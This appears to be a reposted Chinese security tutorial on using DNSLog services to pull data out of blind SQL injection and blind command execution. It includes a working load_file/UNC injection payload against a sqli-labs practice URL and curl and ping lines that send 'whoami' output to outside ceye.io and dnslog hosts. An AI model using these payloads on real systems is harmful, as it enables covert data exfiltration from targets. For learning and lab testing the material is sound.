利用DNSLog实现无回显注入

摘要:
DNSLOG工具如果有自己的服务器和域名,可以自建一个这样的平台,直接使用BugScan团队开源的工具搭建即可:https://github.com/BugScanTeam/DNSLog。我们可以结合DNSLOG完美快速的将数据取出。如遇到MySql的盲注时,可以利用内置函数load_file()来完成DNSLOG。dnslog回显只能用于windows系统,原理就是'\\'代表MicrosoftWindows通用命名规则的文件和目录路径格式利用任何以下扩展存储程序引发DNS地址解析。

测试一些网站的时候,一些注入都是无回显的,我们可以写脚本来进行盲注,但有些网站会ban掉我们的ip,这样我们可以通过设置ip代理池解决,

但是盲注往往效率很低,所以产生了DNSlog注入

DNSLOG的原理

DNS的解析是递归与迭代相结合的,下面给出了当我们访问www.cloudcrowd.com.cn时,DNS的解析过程示意图。

利用DNSLog实现无回显注入第1张

其中,红色部分是可控的。我们只需要搭建一个红色部分的DNS服务器,并将要盲打或盲注的回显,放到自己域名的二级甚至三级域名上去请求,就可以通过DNS解析日志来获取到它们。

DNSLOG工具

如果有自己的服务器和域名,可以自建一个这样的平台,直接使用BugScan团队开源的工具搭建即可:

https://github.com/BugScanTeam/DNSLog。

另外我们也可以使用在线平台:

http://admin.dnslog.link。

http://ceye.io。

https://dnslog.io/

场景一:SQL盲注回显

原理:

不论是bool型盲注还是时间型盲注,都需要频繁的跑请求才能够获取数据库中的值,在现代WAF的防护下,很可能导致IP被ban。我们可以结合DNSLOG完美快速的将数据取出。如遇到MySql的盲注时,可以利用内置函数load_file()来完成DNSLOG。load_file()不仅能够加载本地文件,同时也能对诸如\www.test.com这样的URL发起请求。dnslog回显只能用于windows系统,原理就是'\\'代表Microsoft Windows通用命名规则(UNC)的文件和目录路径格式利用任何以下扩展存储程序引发DNS地址解析。双斜杠表示网络资源路径多加两个就是转义了反斜杠。(UNC格式 \servernamesharename ,其中 servername 是服务器名,sharename 是共享资源名)

用法:

在mysql命令行执行:select load_file('\\afanti.xxxx.ceye.io\aaa');其中afanti就是要注入的查询语句

查看平台,dnsLog被记录下来。

利用DNSLog实现无回显注入第2张

举例:

以sql-labs第五关为例

payload:

'and if((select load_file(concat('\\',(select database()),'.xxxx.dnslog.io\xxx'))),1,0) --+

http://192.168.43.128/sqli-labs-master/Less-5/?id=1%27%20and%20if((select%20load_file(concat(%27\\%27,(select%20database()),%27.g8r7q.l.dnslog.io\abc%27))),1,0)%20--+

利用DNSLog实现无回显注入第3张

查看dnslog日志,发现security数据库被查询出来:

利用DNSLog实现无回显注入第4张

场景二:命令执行盲注回显

当 ping 一个域名时会对其进行一个递归 DNS 查询的过程,这个时候就能在后端获取到 DNS 的查询请求

curl http://haha.xxx.ceye.io/`whoami`
ping `whoami`.xxxx.ceye.io

Windows

ping %USERNAME%.xxx.ceye.io

利用DNSLog实现无回显注入第5张

利用DNSLog实现无回显注入第6张

除了上面详细列出的例子之外,DNSLOG还可以利用在诸如Blind XSS、Blind XXE和Blind SSRF之类的漏洞上,原理是一样的,这样就不演示了。

参考:

https://www.freebuf.com/column/184587.html

https://www.cnblogs.com/afanti/p/8047530.html

免责声明:文章转载自《利用DNSLog实现无回显注入》仅用于学习参考。如对内容有疑问,请及时联系本站处理。

上篇usb设备 配置 接口 端点iOS企业证书网页分发全过程具体解释(图文并茂史无前例的具体哦)下篇

宿迁高防,2C2G15M,22元/月;香港BGP,2C5G5M,25元/月 雨云优惠码:MjYwNzM=

相关文章

Linux Bind架设DNS服务

一、DNS域名解析服务   互联网中的计算机只能通过IP地址进行识别并通信,但是IP地址不方便用户记忆。而后产生了域名解析服务,用户输入域名后即可访问,这个过程即为正向解析(服务器将域名解析为IP地址并返回给计算机,然后再进行的通信),反向解析(IP地址转换为域名)也是同理。   DNS域名解析服务采用的是目录树层次结构,域名后缀一般分为国际域名和国内域名...

syslogng 消息过滤 寻找来源

引用:http://baike.baidu.com/view/3426564.htm 一、基础 syslog-ng作为syslog的替代工具,可以完全替代syslog的服务,并且通过定义规则,实现更好的过滤功能。 系统自带版本: 引用 # rpm -qa|grep syslog-ng syslog-ng-1.6.7-1 syslog官方网站: 点击 最新版...

【DNS域名解析命令】 dig

dig - DNS lookup utility dig 命令主要用来从 DNS 域名服务器查询主机地址信息。 Dig (domain information groper 域名信息搜索)是一个灵活的命令行工具, 它可以用来从域名系统服务器中收集信息。 Dig 有两种模式: 简单交互模式用于简单的查询 批处理模式则可以对包含多个查询条目的列表执行查询。...

centos 构建dns服务 dnsmasq

1 安装yum -y install dnsmasq开放udp tcp 53 端口2,修改配置文件 dnsmasq.conf# grep -Ev "^$|^[#;]" /etc/dnsmasq.conf 查看文件中未注释的内容信息# vi /etc/dnsmasq.conf #指定上游dns服务器 resolv-file=/etc/resolv.dnsma...

如何在Ubuntu server中修改IP

详细请移步至博客https://blog.csdn.net/shenzhen_zsw/article/details/74025066 方法一、 sudo  ifconfig eth0 100.100.100.60 netmask 255.255.255.0 注意:100.100.100.60为你想要改换的ip地址(即目标地址)   后面是子网掩码  方法...

coredns 代理consul 运行noamd 部署的应用

nomad 是一个方便的应用调度平台,consul 一个很不错的服务发现工具,coredns 很不错, 扩展性比较强的dns 服务器,集成起来可能做很强大的事情 我的运行环境是mac,实际情况按需部署即可 组件下载 nomad 下载 https://www.nomadproject.io/docs/install/index.html consul 下载...